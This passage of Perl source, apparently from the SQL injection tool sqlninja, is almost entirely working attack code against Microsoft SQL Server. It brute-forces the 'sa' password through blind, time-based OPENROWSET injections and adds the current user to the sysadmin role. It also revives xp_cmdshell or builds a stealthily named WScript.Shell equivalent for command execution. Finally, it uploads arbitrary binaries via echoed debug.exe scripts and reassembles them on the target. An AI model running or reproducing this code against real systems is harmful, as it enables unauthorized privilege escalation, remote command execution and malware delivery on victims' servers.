1050				"','select 1;".$cmd."');";
1051	}
1052	my $time1 = time();
1053	sendrequest($query);
1054	my $time2 = time();
1055	return ($time2 - $time1);
1056}
1057
1058# Depending on whether a wordlist has been specified, choose the
1059# bruteforcing method
1060sub brute
1061{
1062	if ($wordlist eq "") {
1063		print "[+] No wordlist specified: using incremental ".
1064			"bruteforce\n";
1065		bruteincr();
1066	} else {
1067		print "[+] Wordlist has been specified: using ".
1068			"dictionary-based bruteforce\n";
1069		brutedict();
1070	}
1071}
1072
1073
1074# Bruteforce the sa account password using the remote/incremental approach and
1075# performs the privilege escalation
1076# It splits the job in chunks, with the following logic:
1077# 1st chunk: passwords of 1 characters
1078# 2nd chunk: passwords of 2 characters
1079# 3rd chunk: passwords of 3 characters
1080# For larger characters, sqlninja splits the job: for each chunk, the first
1081# part of the passwords is fixed and only the last three chars are incremented
1082# So, for a password of 4 characters we will have the following chunks:
1083# 1 - a+++
1084# 2 - b+++
1085# and so on. The idea behind that is that if the password is 'abcdef' we don't
1086# want the code to run all the way to 'zzzzzz'. Of course, we could use just
1087# one big chunk that for each cycle checks if xp_execresultset succeeded, but
1088# the additional check, repeated for each cycle, would slow down the attack.
1089sub bruteincr
1090{
1091	my $plength = -1;
1092	print "  Max password length";
1093	while ($plength > 10 or $plength < 1) {
1094		print "  [min:1 max:10]\n> ";
1095		$plength = <STDIN>;
1096		chomp $plength;
1097	}
1098	my $charnum = -1;
1099	print "  Charset to use:\n".
1100	      "  1) {a-z}{0-9}\n".
1101	      "  2) {a-z}{0-9}-+_!{}[],.\n".
1102	      "  3) {a-z}{0-9}-+_!{}[],.@#\$%^'*\(\)=:\"\\/<>";
1103	while ($charnum > 3 or $charnum < 1) {
1104		print "\n> ";
1105		$charnum = <STDIN>;
1106		chomp $charnum;
1107	}
1108	my $charset= "abcdefghijklmnopqrstuvwxyz0123456789";
1109	if ($charnum > 1) {
1110		$charset .= "-+_!{}[],.";
1111	}
1112	if ($charnum > 2) {
1113		$charset .= "@#\$%^'*\(\)=:\"\\/<>";
1114	}
1115	my $charsetlength = length($charset);
1116	my $found = 0;
1117	# First round: 1 character
1118	print "[+] Trying passwords of length...1\n";
1119	bruteround(1,$charset,0);
1120	$found = fingerprint_sysadmin(0);
1121	if ($found == 1) {
1122		print "[+] Done ! You are an administrator now ! :) \n";
1123		exit(0);
1124	}
1125	if ($plength == 1) {
1126		bruteincrnotfound();
1127	}
1128
1129	# Second round... 2 characters, and we also start doing some
1130	# time measuring
1131	print "[+] Trying passwords of length...2\n";
1132	bruteround(2,$charset,0);
1133	$found = fingerprint_sysadmin(0);
1134	if ($found == 1) {
1135		print "[+] Done ! You are an administrator now ! :) \n";
1136		exit(0);
1137	}
1138	if ($plength == 2) {
1139		bruteincrnotfound();
1140	}
1141
1142	# Third round... 3 characters
1143	print "[+] Trying passwords of length...3\n";
1144	my $time1 = time();
1145	bruteround(3,$charset,0);
1146	my $time2 = time();
1147	# Time check....
1148	if (($time2 - $time1) < 3) {
1149		print "[-] Queries returning so quickly mean that something ".
1150			"is not working.\n".
1151		      "    Check configuration file\n";
1152		exit(1);
1153	}
1154	$found = fingerprint_sysadmin(0);
1155	if ($found == 1) {
1156		print "[+] Done ! You are an administrator now ! :) \n";
1157		exit(0);
1158	}
1159	if ($plength == 3) {
1160		bruteincrnotfound();
1161	}
1162
1163	# Now we start trying 4+ sequences in separate chunks. Each chunk
1164	# varies the last 3 characters only
1165	my $i = 4; # Initial length
1166	my @pointchar; # Pointers to the charset
1167	my $pointcharcount; # Number of pointers
1168	while (($found == 0) and ($i <= $plength)) {
1169		print "[+] Trying passwords of length...".$i."\n";
1170		# Initialize the pointers to the beginning of the charset
1171		for (my $j=0;$j<$i-3;$j++) {
1172			$pointchar[$j] = 0;
1173		}
1174		# How many pointers we have so far ?
1175		$pointcharcount = @pointchar;
1176
1177		# Start playing with the pointers, until the first one
1178		# has passed through all values
1179		while ($pointchar[0] <= ($charsetlength - 1)) {
1180			my $pointchar_ref = \@pointchar;
1181			if ($verbose == 1) {
1182				print "[+] Trying '";
1183				for (my $z=0;$z<$pointcharcount;$z++) {
1184					print substr($charset,$pointchar[$z],1);
1185				}
1186				print "___' chunk\n";
1187			}
1188			bruteround(3,$charset,$pointchar_ref);
1189			$found = fingerprint_sysadmin(0);
1190			if ($found == 1) {
1191				print "[+] Done ! You are an administrator".
1192						" now ! :)\n";
1193				exit(0);
1194			}
1195			$pointchar[$pointcharcount-1]++;
1196			# If the least significative has passed through
1197			# the whole charset, we need to reset it to zero
1198			# and increase the next by one
1199			for (my $z=$pointcharcount-1;$z>0;$z--) {
1200				if ($pointchar[$z] > $charsetlength-1) {
1201					$pointchar[$z] = 0;
1202					$pointchar[$z-1]++;
1203				}
1204			}
1205		}
1206		# Step to password of one char more....
1207		$i++;
1208	}
1209	if ($found == 1) {
1210		print "[+] Done ! You are an administrator now ! :) \n";
1211		exit(0);
1212	} else {
1213		bruteincrnotfound();
1214	}
1215}
1216
1217sub bruteincrnotfound
1218{
1219	print "[-] Seems not to have worked. Try longer passwords or ".
1220		"a larger charset...\n";
1221	exit(0);
1222}
1223
1224sub bruteround
1225{
1226	my $plength = $_[0];
1227	my $charset = $_[1];
1228	my @pointchar;
1229	my $pointcharlen;
1230	if ($_[2] != 0) {
1231		@pointchar=@{$_[2]};
1232		$pointcharlen=@pointchar;
1233	}
1234
1235	my $charlength = length($charset)+1;
1236
1237	my $chunkid;
1238	for (my $z=0;$z<$pointcharlen;$z++) {
1239		$chunkid .= substr($charset,$pointchar[$z],1);
1240	}
1241	# We need to double-escape the quotes in the chunk id
1242	$chunkid =~ s/'/''''/g;
1243
1244	my $query;
1245
1246	# Let's start the main query.... here's where things get funny
1247
1248	# First we declare all needed variables...
1249	$query = "declare \@p nvarchar(99),\@z nvarchar(10),\@s nvarchar(99), ";
1250
1251	# We need a cursor (and one variable) for each password character
1252	for (my $i=0;$i<$plength;$i++) {
1253		$query .= "\@".chr($i+97)." int, ";
1254	}
1255	$query .="\@q nvarchar (4000) ";
1256
1257	# We initialize all the cursors...
1258	for (my $i=0;$i<$plength;$i++) {
1259		 $query .= "set \@".chr($i+97)."=1 ";
1260	}
1261
1262	# Then the charset, in which quotes must be escaped
1263	my $charset_ = $charset;
1264	$charset_ =~ s/'/''/g;
1265	$query .="set \@s=N'".$charset_."' ";
1266
1267	# And we start all the nested cycles... one per cursor
1268	for (my $i=0;$i<$plength;$i++) {
1269		$query .= "while \@".chr($i+97)."<".$charlength." begin ";
1270	}
1271
1272	# Cycle body: we build the password candidate...
1273	# We start by the characters common to this chunk
1274	$query .="set \@p=N'".$chunkid."' ";
1275
1276	# Then we add the rest
1277	for (my $i=0;$i<$plength;$i++) {
1278		$query .= "set \@z = substring(\@s,\@".chr($i+97).",1) ";
1279		$query .= "if \@z='''' set \@z='''''' "; # double escaping
1280		$query .="set \@p=\@p+\@z ";
1281	}
1282
1283	# ...and we try to add the current user to the sysadmin group
1284	$query .="set \@q=N'select 1 from OPENROWSET(''SQLOLEDB'',".
1285		 "''Network=DBMSSOCN;Address=;uid=sa;pwd='+\@p+N''',".
1286		 "''select 1;".
1287		 "exec master.dbo.sp_addsrvrolemember '''''+".
1288		 "system_user+N''''',''''sysadmin'''' '')' ".
1289		  "exec master.dbo.xp_execresultset \@q,N'master' ";
1290
1291	# We close the cycles and update cursors accordingly
1292	for (my $i=$plength-1;$i>-1;$i--) {
1293		$query .= "set \@".chr($i+97)."=\@".chr($i+97)."+1 end ".
1294				"set \@".chr($i+97)."=1 ";
1295	}
1296
1297	# ...and finally send the bloody thing
1298	sendrequest($query);
1299}
1300
1301
1302
1303# Bruteforce the sa account password using the network/dictionary approach.
1304sub brutedict
1305{
1306	# We fix $blindtime to 59 seconds, since bruteforcing might slow
1307	# down server responses. And after all, the 'waitfor' is executed
1308	# only once, so no big deal
1309	$blindtime = 59;
1310	print "  Number of concurrent processes";
1311	my $procnum = -1;
1312	while ($procnum > 10 or $procnum < 0) {
1313		print "  [min:1 max:10 default:3]\n> ";
1314		$procnum = <STDIN>;
1315		chomp($procnum);
1316		if ($procnum eq "") {
1317			$procnum = 3;
1318		}
1319	}
1320	open(FILE,"<".$wordlist) || die "[-] Can't open wordlist file...".
1321	         				"exiting\n";
1322
1323	my %procarray;
1324	my $procid;
1325	my $ninjasock = genfile();
1326	unlink $ninjasock;
1327	# Create the socket to talk with children
1328	if ($verbose == 1) {
1329		print "  [v] Creating UNIX socket for children messages\n";
1330	}
1331	my $server =  new IO::Socket::UNIX->new(Local => $ninjasock,
1332						Type  => SOCK_DGRAM,
1333						Listen   => 30)
1334				|| die "can't create UNIX socket: $!\n";
1335
1336	my $brutestarttime = time();
1337	my $i = 0;
1338	if ($verbose == 1) {
1339		print "  [v] Launching children processes\n";
1340	}
1341	while ($i<$procnum) {
1342		$procid = fork();
1343		# it's a child ? Get out of this cycle
1344		if ($procid == 0) {
1345			$i=$procnum;
1346		# the fork() failed ? Kill other children and exit
1347		} elsif (!defined($procid)) {
1348			while(my($p,$j)=each %procarray) {
1349				kill TERM => $p;
1350			}
1351			print "[-] fork failed: ".$!." ...exiting\n";
1352			exit(1);
1353		# fork successful and this is the father...
1354		# so keep track and move on
1355		} else {
1356			$procarray{$procid}=0;
1357			$i++;
1358		}
1359	}
1360	# Children are all started by now, and they must start
1361	# their bruteforce
1362	if ($procid == 0) {
1363		$server->close;
1364		brutechild($ninjasock);
1365	}
1366	# The father, meanwhile, listens until either:
1367	# a) the wordlist is over
1368	# b) a child finds the correct password
1369	my $msg;
1370	my $finished = 0;
1371	my $candidate;
1372	$i = 0;
1373	print "[+] Bruteforcing the sa password. This might take a while\n";
1374	$SIG{ALRM} = \&timed_out;
1375	while ($finished == 0) {
1376		eval {
1377			alarm($blindtime*3);
1378			$server->recv($msg,255);
1379			# $1: childpid
1380			# $2: opcode:
1381			#     0: request word
1382			#     1: found password
1383			# $3: password
1384			alarm(0);
1385		};
1386		if ($msg eq "") {
1387			# This should not be necessary... but just in case
1388			while (my ($a,$b) = each %procarray) {
1389				kill TERM => $a;
1390			}
1391			print "[-] No news from children. Something went ".
1392			      "wrong... exiting\n";
1393			exit(1);
1394		}
1395		$msg =~ /^(\d+)\n(\d)\n(\S+)/;
1396		if ($2 == 0) {
1397			# The child is asking for a word to try
1398			if (defined($candidate=<FILE>)) {
1399				$i++;
1400				chomp($candidate);
1401				if (($verbose == 1) and ($i % 1000 == 0)) {
1402					print "  [v] Fetching pwd n.".$i.": ".
1403							$candidate."\n";
1404				}
1405				$server->send($candidate."\n");
1406			} else {
1407				kill TERM => $1;
1408				delete($procarray{$1});
1409				# when no more keys, exit
1410				if (keys(%procarray) == 0) {
1411					$finished = 1;
1412				}
1413			}
1414		} else {
1415			# We found the password !
1416			# Visualize it, kill children, exit
1417			$password = $3;
1418			print "  dba password is...: ".$password."\n";
1419			my $elapsed = time() - $brutestarttime;
1420			print "bruteforce took ".$elapsed." seconds\n";
1421			while (my ($a,$b) = each %procarray) {
1422				kill TERM => $a;
1423			}
1424			unlink $ninjasock;
1425			close FILE;
1426			# Now we do the escalation bit
1427			escalation();
1428			exit(0);
1429		}
1430	}
1431	print "[-] Sorry... password not found. Try another wordlist\n";
1432	unlink $ninjasock;
1433	close FILE;
1434	exit(0);
1435}
1436
1437sub timed_out
1438{
1439	die "timeout";
1440}
1441
1442# Each bruteforcing process uses this subprocedure
1443sub brutechild()
1444{
1445	my $pwd;
1446	my $query;
1447	my $time1;
1448	my $time2;
1449	my $k;
1450	my $ninjasock=$_[0];
1451	my $ninjasock1=genfile()."$$";
1452	$k=IO::Socket::UNIX->new(Peer => $ninjasock,
1453				 Local => $ninjasock1,
1454				 Type     => SOCK_DGRAM,
1455				 Timeout  => 10)
1456				|| die "could not create UNIX socket\n";
1457
1458	while (1) {
1459		$k->send($$."\n0\nnopwd");
1460		$k->recv($pwd,255);
1461		chomp($pwd);
1462		# $pwd =~ s/ /%20/g; # If the password has whitespaces
1463		# $query = "select * from OPENROWSET('SQLOLEDB','';'sa';'".$pwd.
1464		$query = "select * from OPENROWSET('SQLOLEDB','Network=".
1465			"DBMSSOCN;Address=;uid=sa;pwd=".$pwd."',".
1466			"'waitfor delay ''0:0:".$blindtime."'';select 1;');";
1467		$time1=time();
1468		sendrequest($query);
1469		$time2=time();
1470		if (($time2 - $time1) > ($blindtime - 2)) {
1471			# FOUND IT !!
1472			$k->send($$."\n1\n".$pwd);
1473		}
1474	}
1475	close $k;
1476	exit(0);
1477}
1478
1479# Add current user to the sysadmin server role.
1480# The code assumes that sp_addsrvrolemember hasn't been disabled (and I see
1481# no reason why a sysadmin should disable it). If it disabled, however, the
1482# solution is just to use OPENROWSET for every command.
1483# N.B.: Only new ODBC connections will have administrative rights !
1484sub escalation
1485{
1486	my $cmd;
1487        print "[+] Trying to add current user to sysadmin group\n";
1488	$cmd = "declare \@u nvarchar(99), \@q nvarchar(999) ".
1489	       "set \@q = N'select 1 from OPENROWSET(''SQLOLEDB'',".
1490	       "''Network=DBMSSOCN;Address=;uid=sa;pwd=".$password."'',".
1491	       "''select 1;".
1492	       "exec master.dbo.sp_addsrvrolemember '''''+".
1493	       "system_user+N''''',''''sysadmin'''' '')' ".
1494	       "exec master.dbo.xp_execresultset \@q,N'master' ";
1495        sendrequest($cmd);
1496        print "[+] Done! New connections will be run with administrative ".
1497		"privileges! In case\n    the server uses ODBC, you might have".
1498		" to wait a little bit\n    (check sqlninja-howto.html)\n";
1499	exit(0);
1500}
1501
1502# Recreate the xp_cmdshell procedure or an equivalent one on the target server.
1503# Original custom procedure by Antonin Foller (www.motobit.com),
1504# with the following hacks:
1505# 1. @Wait=1 to make inference possible
1506# 2. code incapsulated into sp_executesql to make 'create procedure' the
1507#    first statement of the batch
1508sub resurrectxp
1509{
1510	print "[+] Trying to \"resurrect\" the xp_cmdshell procedure\n";
1511	print "[+] What version of SQL Server is this ?\n";
1512	my $ver = "0";
1513	my $version;
1514	my $cmd;
1515	my $command;
1516	my $result;
1517	while (($ver ne "1") and
1518	       ($ver ne "2") and
1519	       ($ver ne "f")) {
1520		print "  1: 2000\n";
1521		print "  2: 2005\n";
1522		print "  f: fingerprint and act accordingly\n";
1523		print "> ";
1524		$ver = <STDIN>;
1525		chomp($ver);
1526		if (($ver ne "1") and
1527		    ($ver ne "2") and
1528		    ($ver ne "f")) {
1529		    	print ">";
1530			$version = "0";
1531		}
1532		if ($ver eq "1") {
1533			$version = 2000;
1534		} elsif ($ver eq "2") {
1535			$version = 2005;
1536		} else {
1537			$version = fingerprint_version();
1538			if ($version eq "2000") {
1539				print "[+] Target seems a SQL Server 2000\n";
1540			} elsif ($version eq "2005") {
1541				print "[+] Target seems a SQL Server 2005\n";
1542			} else {
1543				print "[-] Version fingerprint failed...\n";
1544			}
1545		}
1546	}
1547	# If the user wants to use another name for the procedure (to be a
1548	# little more stealthy) then this code must not be executed
1549	if ($xp_name eq "xp_cmdshell") {
1550		if ($version == 2000) {
1551			print "[+] Trying to reactivate xp_cmdshell using ".
1552						"sp_addextendedproc...\n";
1553			$cmd = "exec master..sp_addextendedproc 'xp_cmdshell',".
1554						"'xplog70.dll';";
1555		} else {
1556			print "[+] Trying to reactivate xp_cmdshell using ".
1557						"sp_configure...\n";
1558			$cmd = "exec master..sp_configure 'show advanced ".
1559				"options',1;reconfigure;exec master..".
1560				"sp_configure 'xp_cmdshell',1;reconfigure";
1561		}
1562		if ($password ne "") {
1563			$cmd =~ s/'/''/g;
1564			# $cmd =~ s/ /%20/g;
1565			$cmd = "select * from OPENROWSET('SQLOLEDB','';'sa';'".
1566				$password."','select 1;".$cmd."')";
1567		}
1568		$result = sendrequest($cmd);
1569		sleep(2);
1570		$result = fingerprint_shell("xp_cmdshell");
1571		if ($result == 1) {
1572			print "[+] Yes ! Now xp_cmdshell is available\n";
1573			exit(0);
1574		} else {
1575			print "[-] No... recreating xp_cmdshell failed\n";
1576			# ...cleaning up :)
1577			if ($version == 2000) {
1578				$cmd = "exec master..sp_dropextendedproc ".
1579					"'xp_cmdshell';";
1580				if ($password ne "") {
1581					$cmd =~ s/'/''/g;
1582					$cmd = "select * from OPENROWSET('SQL".
1583					      "OLEDB','';'sa';'".$password."'".
1584					      ",'select 1;".$cmd."')";
1585				}
1586				$result = sendrequest($cmd);
1587			}
1588
1589		}
1590	}
1591	if ($version == 2005) {
1592		if ($verbose == 1) {
1593			print "[+] Activating sp_oacreate & C.\n";
1594		}
1595		$cmd = "exec master..sp_configure 'show advanced options',1;".
1596		       "reconfigure;".
1597		       "exec master..sp_configure 'ole automation procedures'".
1598		       ",1;reconfigure;";
1599		$result = sendrequest($cmd);
1600	}
1601	# We are administrators without using OPENROWSET, then we can
1602	# create the new procedure
1603	if ($password eq "") {
1604		print "[+] Trying to create a new ".$xp_name." procedure..".
1605								".\n";
1606		$cmd =  "declare \@ice nvarchar(999);set \@ice='CREATE PROCED".
1607			"URE ".$xp_name."(\@cmd varchar(255)) AS ".
1608			"DECLARE \@ID int ".
1609			"EXEC sp_OACreate ''WScript.Shell'',\@ID OUT ".
1610			"EXEC sp_OAMethod \@ID,''Run'',Null,\@cmd,0,1 ".
1611			"EXEC sp_OADestroy \@ID';".
1612			"exec master..sp_executesql \@ice;";
1613		if ($version == 2005) {
1614			$cmd=$cmd."reconfigure;";
1615		}
1616		$result = sendrequest($cmd);
1617		# print "[+] Testing if ".$xp_name." is working...\n";
1618		sleep(2);
1619		$result = fingerprint_shell($xp_name);
1620		if ($result == 1) {
1621			print "[+] ".$xp_name." available ! \n";
1622		} else {
1623			print "[-] Sorry.... it did not work\n";
1624		}
1625	} else {
1626		print "[+] Trying to use openrowset + sp_oacreate...\n";
1627		$cmd = "DECLARE \@ID int ".
1628		       "EXEC sp_OACreate 'WScript.Shell',\@ID OUT ".
1629		       "EXEC sp_OAMethod \@ID,'Run',Null,".
1630		       "'ping -n ".$blindtime." 127.0.0.1',0,1 ".
1631		       "EXEC sp_OADestroy \@ID";
1632		$result = tryblind($cmd);
1633		if ($result > ($blindtime-2)) {
1634			print "[+] seems to work! Set xp_name to NULL in the ".
1635			      "configuration file and enjoy!\n";
1636		} else {
1637			print "[-] sorry... sp_oacreate seems to be disabled\n";
1638		}
1639	}
1640	exit(0);
1641}
1642
1643
1644# upload $_[0] to the remote server
1645sub upload
1646{
1647	if ($verbose == 1) {
1648		print "  [v] Starting upload module\n";
1649	}
1650	my $file = $_[0];
1651	if (!(-e $file)) {
1652		print "[-] ".$file." was not found. Exiting\n";
1653		exit(1);
1654	}
1655	if ($genscript == 1) {
1656		print "[+] -g switch detected. Generating debug script only\n";
1657	}
1658	my $rounds;
1659	my @path = split(/\//,$file);
1660	my $filename = pop(@path);
1661	my $filesize = -s $file;
1662	# split filename and extension, keeping into account multiple extensions
1663	my @filearray = split(/\./,$filename);
1664	my $filearraysize = @filearray;
1665	if ($filearraysize > 2) {
1666		for (my $i = 1; $i < ($filearraysize-1); $i++) {
1667			$filearray[0] = $filearray[0].".".$filearray[$i];
1668		}
1669		$filearray[1] = $filearray[$filearraysize - 1];
1670	}
1671	if ($genscript == 0) {
1672		if ($verbose == 1) {
1673			print "  [v] Deleting any previous instance of ".$filename."...\n";
1674		}
1675		my $cmd = "del \%TEMP\%\\".$filearray[0].".*";
1676		my $command = createcommand($cmd);
1677		my $result = sendrequest($command);
1678		# If the file is already in scr format, we assume that the size of the
1679		# exe is <64k and just upload it in one go
1680		if ($filearray[1] eq "scr") {
1681			print "[+] File is already in script format. I won't be able to check\n".
1682		      		"    the correct size of the resulting binary\n";
1683			uploadrnd($file, 0, -1,$filearray[1]); # -1 means "don't check size!"
1684			return;
1685		}
1686	} elsif ($filearray[1] eq "scr") {
1687		print "[-]  ".$file." has already a scr extension. Are you sure you\n".
1688		      "     want to continue? (y/n)";
1689		my $sure;
1690		unless (($sure eq "y") or ($sure eq "n")) {
1691			print "\n> ";
1692			$sure = <STDIN>;
1693			chomp($sure);
1694			if ($sure eq "n") {
1695				print "\n[-] Exiting....\n";
1696				exit(0);
1697			}
1698		}
1699	}
1700	# If we are here, we were given a binary file
1701	# Measure file size and calculate how many rounds are needed
1702	my $rounds = int($filesize / 0xFEFF)+1; # 0x0100 reserved for debug.exe
1703	if ($rounds == 1) {
1704		# One round is enough. Create the script, upload it, convert it and exit
1705		makescr($file,"/tmp/".$filearray[0].".scr");
1706		if ($genscript == 0) {
1707			uploadrnd("/tmp/".$filearray[0].".scr", 0, $filesize, $filearray[1]);
1708			system("rm /tmp/".$filearray[0].".scr");
1709		} else {
1710			print "[+] Debug script created: /tmp/"
1711				.$filearray[0].".scr\n";
1712		}
1713		return;
1714	}
1715	print "[+] We need to split the file into ".$rounds." chunks\n";
1716	# Split the original files in $rounds chunks
1717	# Upload the various chunks and convert them
1718	open(FILE, "<".$file);
1719	binmode FILE;
1720	my $record;
1721	for (my $i=1; $i<=$rounds; $i++) {
1722		read(FILE, $record, 0xFEFF);
1723		open (OUT, ">/tmp/".$filearray[0].".exe_".$i);
1724		print OUT $record;
1725		close OUT;
1726	}
1727	for (my $i=1; $i<=$rounds; $i++) {
1728		my $chunksize = -s "/tmp/".$filearray[0].".exe_".$i;
1729		makescr("/tmp/".$filearray[0].".exe_".$i,"/tmp/"
1730						.$filearray[0].".scr_".$i);
1731		if ($genscript == 0) {
1732			uploadrnd("/tmp/".$filearray[0].".scr_".
1733							$i,$i,$chunksize,$filearray[1]);
1734			system("rm /tmp/".$filearray[0].".*_".$i);
1735		} else {
1736			system("rm /tmp/".$filearray[0].".exe_".$i);
1737		}
1738	}
1739	if ($genscript == 1) {
1740		print "[+] Debug scripts created: /tmp/".$filearray[0].
1741						".scr_X\n";
1742		exit(0);
1743	}
1744	# Glue together the various chunks
1745	print "[+] Joining the various binary chunks together...\n";
1746	my $cmd = "copy /b ";
1747	for (my $i=1; $i<$rounds; $i++) {
1748		$cmd .= "\%TEMP\%\\".$filearray[0].".exe_".$i." +";
1749	}
1750	$cmd .= "\%TEMP\%\\".$filearray[0].".exe_".$rounds." \%TEMP\%\\"
1751						.$filearray[0].".exe.";
1752	my $command = createcommand($cmd);
1753	my $result = sendrequest($command);
1754
1755	# Check that the final size matches
1756	print "[+] Checking that the resulting ".$filearray[0].".exe "
1757						."has the correct size...\n";
1758	if ($verbose == 1) {
1759		print "[v] Expecting it to have ".$filesize." bytes\n";
1760	}
1761	my $size_ok = checkremotesize($filearray[0].".exe",$filesize);
1762	if ($size_ok == 1) {
1763		print "[+] Filesize corresponds... enjoy! :)\n";
1764	} else {
1765		print "[-] Filesize does not correspond. Something went ".
1766								"wrong\n";
1767	}
1768	# Remove chunks
1769	$cmd = "del %TEMP%\\".$filearray[0].".exe_*";
1770	$command = createcommand($cmd);
1771	$result = sendrequest($command);
1772}
1773
1774# Upload and conversion of a single round
1775sub uploadrnd{
1776	my $cmd;
1777	my $command;
1778	my $result;
1779	my $file = $_[0];
1780	my $round = $_[1];
1781	my $filesize = $_[2];
1782	my $extension = $_[3];
1783	# print "extension = ".$extension."\n";
1784	my @path = split(/\//,$file);
1785	my $filename = pop(@path);
1786	my @filearray = split(/\./,$filename);
1787	print "[+] Uploading ".$file." debug script............\n";
1788	open (FILE, $file) || die "can't open file ".$file.": $!";
1789	my $line;
1790	my $countlines = 0;
1791	# Count total lines in the file
1792	my $totallines;
1793	while ($line = <FILE>) {
1794		$totallines++;
1795	}
1796	close FILE;
1797
1798	# Upload the whole script thing
1799	open (FILE, $file);
1800	$line = <FILE>;
1801	$cmd = "echo n %TEMP%\\#temp# > \%TEMP\%\\".$filename;
1802	$command = createcommand($cmd);
1803	$result = sendrequest($command);
1804	$countlines++;
1805	$cmd = "";
1806	# First n chunks of script
1807	for (my $i = 1; $i < int($totallines/$lines_per_req); $i++) {
1808		for (my $y=0; $y<($lines_per_req-1); $y++) {
1809			$line = <FILE>;
1810			# goddamned \r's .... >:|
1811			$line =~ s/\r//g;
1812			chomp($line);
1813			$cmd .= "echo ".$line." >> \%TEMP\%\\".$filename." && ";
1814			$countlines++;
1815		}
1816		$line = <FILE>;
1817		$line =~ s/\r//g;
1818		chomp($line);
1819		$cmd .= "echo ".$line." >> \%TEMP\%\\".$filename;
1820		$countlines++;
1821		$command = createcommand($cmd);
1822		$result = sendrequest($command);
1823		$cmd = "";
1824		print $countlines."/".$totallines." lines written       \r";
1825	}
1826	# Last chunk
1827	while ($line = <FILE>) {
1828		$line =~ s/\r//g;
1829		chomp($line);
1830		$cmd = "echo ".$line." >> \%TEMP\%\\".$filename;
1831		$countlines++;
1832		$command = createcommand($cmd);
1833		$result = sendrequest($command);
1834		print $countlines."/".$totallines." lines written       \r";
1835	}
1836	print $totallines."/".$totallines." lines written         \ndone!\n";
1837	close FILE;
1838
1839	# Check that the exact number of lines was uploaded
1840	# We count the lines and store the result in a temporary file, then
1841	# we check the last token in that file
1842	my $delay;
1843	my $wrongscr = 0;
1844	# local $/=\1;
1845	# local $|=1;
1846	if ($verbose == 1) {
1847		print "[v] Checking number of uploaded lines\n";
1848	}
1849	$cmd = "find /v /c \"zzzz\" \%TEMP\%\\".$filename." > \%TEMP\%\\lines.txt ".
1850	       "& find \" ".$totallines."\" \%TEMP\%\\lines.txt > nul ".
1851	       "& if not errorlevel = 1 ping -n ".$blindtime." 127.0.0.1 ".
1852	       "& del \%TEMP\%\\lines.txt";
1853	$command = createcommand($cmd);
1854	$delay = tryblind($command);
1855	if ($delay > ($blindtime-2)) {
1856		if ($verbose == 1) {
1857			print "[v] ".$filename." seems to have been ".
1858				"properly uploaded\n";
1859		}
1860	} else {
1861		$wrongscr = 1;
1862		print "[-] ".$filename." seems not to have been uploaded".
1863				" correctly.\n";
1864		print "[-] Checking whether it is there.... ";
1865		my $present = checkfile("\%TEMP\%\\$filename");
1866		if ($present == 0) {
1867			print "no. User has not write privileges?\n";
1868			exit(1);
1869		}
1870		print "yes.\n    You want to count the uploaded lines? (y/n)";
1871		my $resp="";
1872		while (($resp ne "y") and ($resp ne "n")) {
1873			print "\n> ";
1874			$resp = <STDIN>;
1875			chomp($resp);
1876		}
1877		if ($resp eq "y") {
1878			checkscrlines($filename,$totallines);
1879		}
1880
1881		print "[-] You want me to try to create an exe anyway?";
1882		$resp="";
1883		while (($resp ne "y") and ($resp ne "n")) {
1884			print "\n> ";
1885			$resp = <STDIN>;
1886			chomp($resp);
1887		}
1888		if ($resp eq "n") {
1889			print "[-] Bye...\n";
1890			delscr($filename);
1891			exit(1);
1892		}
1893	}
1894
1895	# Generate the binary file
1896	print "[+] Converting script to executable... might take a while\n";
1897	$cmd = "debug < \%TEMP\%\\".$filename;
1898	$command = createcommand($cmd);
1899	$result = sendrequest($command);
1900
1901	# Rename the binary
1902	if ($extension eq "scr") {
1903		print "  Which extension do you want to give the remote file? [Default: exe]\n  > ";
1904		$extension = <STDIN>;
1905		chomp($extension);
1906		if ($extension eq "") {
1907			$extension = "exe";
1908		}
1909	}
1910	my $exefile = $filearray[0].".".$extension;
1911	if ($round > 0) {
1912		$exefile .= "_".$round;
1913	}
1914	$cmd = "ren \%TEMP\%\\#TEMP# ".$exefile;
1915	$command=createcommand($cmd);
1916	$result = sendrequest($command);
1917
1918	delscr($filename);
1919	my $size_ok;
1920	# We check whether the exe file has the correct size
1921	unless ($filesize == -1) {
1922		print "[+] Checking that ".$exefile." has the expected filesize...\n";
1923		if ($verbose == 1) {
1924			print "[v] Expecting it to have ".$filesize." bytes\n";
1925		}
1926		$size_ok = checkremotesize($exefile,$filesize);
1927		if ($size_ok == 1) {
1928			print "[+] Filesize corresponds... :)\n";
1929			return;
1930		} else {
1931			print "[-] Filesize does not correspond. Something might be wrong\n";
1932		}
1933	}
1934	# We check whether the exe file is there....
1935	print "[+] Checking whether ".$exefile." is there...\n";
1936	$cmd = "if exist \%TEMP\%\\".$exefile." (ping -n ". $blindtime." 127.0.0.1)";
1937	$command = createcommand($cmd);
1938	$delay = tryblind($command);
1939	if ($delay > ($blindtime - 2)) {
1940		# If we are here, a exe is present....
1941		# Now let's check that its size is not zero (it can happen
1942		# if debug.exe fails)
1943		if ($verbose == 1) {
1944			print "[v] Checking whether ".$exefile." is empty\n";
1945		}
1946		# Checking whether the exe file is empty
1947		$size_ok = checkremotesize($exefile,0);
1948		if ($size_ok == 1) {
1949			# Check is successful, therefore it's an empty exe
1950			print "[-] ".$exefile." seems to be there but empty. ".
1951       		      		"Debug.exe has probably failed\n";
1952		} else {
1953			# Non-empty exe
1954			if ($filesize == -1) {
1955				print "[+] ".$exefile." seems to be there :)\n";
1956			} else {
1957				print "[-] A ".$exefile." seems to be there... can't be sure will work\n";
1958			}
1959		}
1960
1961	} else {
1962		# If we get here, the exe is not there
1963		if ($wrongscr == 1) {
1964			print "[-] ".$exefile." was not found ".
1965			            "(debug script corrupted)\n";
1966		} else {
1967			print "[-] ".$exefile." was not found ".
1968		             "(debug.exe not present?)\n";
1969		}
1970	}
1971}
1972
1973
1974# Delete the uploaded script file
1975sub delscr
1976{
1977	my $filename = $_[0];
1978	if ($verbose == 1) {
1979		print "[v] Removing the original scr file\n";
1980	}
1981	my $cmd = "del \%TEMP\%\\".$filename;
1982	my $command=createcommand($cmd);
1983	my $result = sendrequest($command);
1984}
1985
1986# Count the script uploaded lines
1987sub checkscrlines
1988{
1989	my $filename = $_[0];
1990	my $lines = $_[1];
1991
1992	print "[-] Counting uploaded lines... might take a bit\n";
1993
1994	# We start by getting the lines (again...)
1995	my $cmd = "find /c /v \"zzzzz\" %TEMP%\\".$filename." > ".
1996	          "%TEMP%\\lines.txt";
1997	my $command=createcommand($cmd);
1998	my $result = sendrequest($command);
1999
2000	# Now we find the interval where that number is
2001	my $min = 0;
